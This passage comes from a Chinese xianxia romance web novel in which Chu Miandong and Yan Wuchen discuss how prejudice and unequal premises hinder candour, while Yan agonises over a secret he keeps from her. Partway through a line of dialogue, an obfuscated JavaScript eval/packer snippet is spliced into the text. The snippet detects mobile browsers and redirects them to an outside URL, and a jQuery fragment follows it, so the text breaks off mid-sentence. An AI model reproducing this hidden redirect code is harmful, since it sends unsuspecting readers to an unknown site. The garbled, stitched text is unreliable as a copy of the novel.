他说:“所以,漫步拾鱼的你也很了不起。” ——不必只钦佩容曦和容昭。 待一路听到最后,少年一席分析的最终落脚点,却是一本正经地落在了对她的真诚夸赞上。 褚眠冬一愣,倒是第一次见燕无辰这般视角。 这世间从不缺抓住间隙便肆意贬损别人者,却罕见如少年这般,善于发现优点而真诚夸赞对方“你很好”之人。 无关虚伪、恭维与编造,而仅仅是纯粹的发现闪光,赞叹闪光。 褚眠冬想,面对少年如此话语,倘若谁下意识觉得他是在无话找话、恭维倒贴,反是映照出此人自身的虚伪来。 不过,也有例外。 如果她与燕无辰并非现在最为简单纯粹的同伴关系,而是她手握权势、掌管生杀——或她自认为如此——那也许,听得一句如此夸赞,她多半会下意识质疑一番对方是何居心、有何所求。 如此而言,倒确是所幸如此,她与他之间没有更多的权势、地位抑或利益上的关联与纠葛,而得以如现在这般,互相平等而坦诚地交谈。 想到这里,她不觉勾唇一笑。 燕无辰疑惑看来,“怎么了?” 褚眠冬笑道:“无事。只是忽而觉得,你我便如现在这般,简简单单地坐在一处,简简单单地说话,这不能更好了。” 闻言,燕无辰却是心中微跳。 她果然很在意这一点,正如他先前所担忧的那样。 他同样很在意,在意他与她的交集正是因原本应有的师徒之分而起;更在意不能坦白这点,让他感觉面对她时的他,并非完整的他自己。 他不可能披着一层隐瞒的外衣,同她相处一辈子。 但与此同时,他深知不能冒进。 “是啊。”燕无辰状若无意道,“你说,若容曦与慕鸾之间并未横亘着皇权和前朝皇帝造下的冤孽,而更简单、更单纯,两人间的结局会不会比如今好得多?” 他顿了顿,“虽说慕鸾最终寿终正寝,但她与容曦在有生之年,终究没能回到年少时的畅言无阻。” 燕无辰用梅瓣拼成各式图样,褚眠冬便将落在自己这边的梅瓣一片片堆作一小撮,放在燕无辰够得到的地方。 褚眠冬:“若无那纸诏令作梗,容曦与慕鸾的故事或许便是一代明君与护国将军的互相成就。” 她想了想,“若一开始她们便不是皇家末女和少年将军,或许二人会是一生的知己,一世的挚友。” 燕无辰道:“但若非公主与将军,若非前朝皇帝昏聩,或许她们一开始便不会相识。这样说并非要为身份之别和前朝庸君开脱,而是……” 他斟酌着词句,“就二人的关系而言,身份之别和前朝庸君是最大的变数,或说阻碍。但同时不可忽略的是,这也是二人相识的前置条件和契机。” “这像是一个悖论,而这世间大多数关系的开端,似乎都无法摆脱这样的种种前提。” 燕无辰借对容曦与慕鸾的假设,问出了心中真正的疑虑。 “如果关系的开始不可避免地带着前提,褚道友觉得,这样的关系……会在怎样的情形下,才能走到坦诚相待这一步呢?” 褚眠冬花了些时间厘清燕无辰的问题,又认真思索了一番。 “我认为这很难。” 她回答道,“带有前提的关系,尤其是于立场和身份上的天然差别,往往也意味着双方对彼此带出的初始偏见。” “而偏见,往往是阻碍更多可能性的开端。” 褚眠冬认真道: “当对一个人的认知不来自于对此人本身的接触和了解,而更多依赖于脑海中的固有刻板印象;不依照此人的具体言行来感受这个人本身,而反过来依照已由偏见做下的定论去曲解对方的言行作为论据……” “我想,两人间的距离只会越来越远。” “譬如,位高权重者或自认为居于高位者,在面对对方的夸赞时会下意识怀疑其别有居心、质疑其另有所求,而很难考虑到对方只是真诚赞美的可能性。” 她将先前的思考浅做梳理,现理现用。 “又如,自认位低劣势者,则会很容易感到对方的话语是对自己的贬损,而很少将这份心情宣之于口,向另一方验证——退一步来说,即使得到回答,也未免猜疑对方的答案是否仅仅流于敷衍,并非真心。” “互相猜疑一旦开始,就再难有终结之时。” 褚眠冬总结道,“坦诚相待本就需要勇气和信任,有偏见在前,难度更是成倍上升。” 语罢,褚眠冬话语一转。 “但也不是完全不可能。” “若双方能看清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725970|173756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些前提带来的偏见,并跨越那些下意识带出的偏见,而愿意多沟通、多交流,将想法说清楚,把话讲清楚,同时也都愿意听对方说清楚——那我想,没有什么鸿沟是真诚的沟通和倾听不能填平的。” “便如少时的慕鸾和容曦,虽是公主与将军,亦不妨碍她们交心相谈。” “只是很少有人习得了「好好说话」和「好好听人说话」这两项技能。”褚眠冬摇头,“即使有,也往往难以遇见另一个。” 她支颐打了个比方,“这样的概率……大概类似于修界有两位大能同时渡劫飞升罢。” “所以方才我说,如你我二人这般简简单单说话,不能更好了。” 褚眠冬感叹道,“只说我们的相遇并未带上复杂前提和初始偏见,就实在是一个概率太低的事件了。” 不,其实原本是有的。 燕无辰想,如若两人的初遇是在拜师大典之上,依照他先前为未来小徒弟列出的培育计划一二三四,想来永远不会有如现在这样交谈的一日。 为师为尊,一声师尊之下,他会对她关怀备至,却永远难于对她坦诚平视。 但纵是如此,她与他的相遇也并非如她以为的那般纯粹。 那枚寄宿着她一缕灵气的玉佩和他的真实身份,二者摆在褚眠冬眼前的那一日,便是这份「幸运」变成「蓄意」之日。 到那一日,她与他还能如现在这般,无话不谈吗? 如此一想,燕无辰愈觉庆幸,却也更纠结难明。 积极的声音说,她说得对,现在的你们是坦诚相待的。 没有什么鸿沟不能被真诚的沟通和倾听填平,所以找个机会同她将话说开,越早越好。 消极的声音却道,她为你们的关系之纯粹与互相坦诚而高兴,却不知道这本就来自你的隐瞒。 想象一下知道真相的她会如何?想完了就老老实实把这件事烂在肚子里,谁也别告诉。 燕无辰脑中闹得沸反盈天之时,褚眠冬又思索一番,严谨地补充道: “不过,这个问题也要考虑特殊情况。” “譬如容曦与慕鸾,她们大可抛却一切就此远走,成全二人的一份挚情,也得到个人的自由;但于两人而言,这些都不及那份共同的愿景。” “正因她们有共同的海晏河清之愿,最终才有了容曦攻入皇城、慕鸾开宫门相迎,有了两人余生不复相见,却心甘情愿。” 青衫少女眸光清凌,话语沉静。 无端地,燕无辰觉得她像一缕清风,若非她愿意停留,则无人能强求。 所以,她心中也会有这样一份超越情谊本身的存在吗? 她如何看待他,又是否会原谅他对她的所有隐瞒? ……他能成为她的特殊情况吗? 燕无辰微微启唇,终是将这些话语尽数咽下。 他有什么立场问出这些话? 面前的姑娘甚至并不知,他想问的不只是容曦与慕鸾,更是他与她的关系。 此言一出,只显得突兀。 他明白的。 他还不够了解她,她也并未有多在意他。 他想要的那份更深的情谊,并非浅薄的寥寥几回交集便能骤然生发而出;倘若有,那也只是见色起意,不可能触及内里的真实。 或许确如她所言,眼下二人能简简单单、不带猜疑地交谈,就已经很是难得,也已经足够了。 ……他不该奢求更多。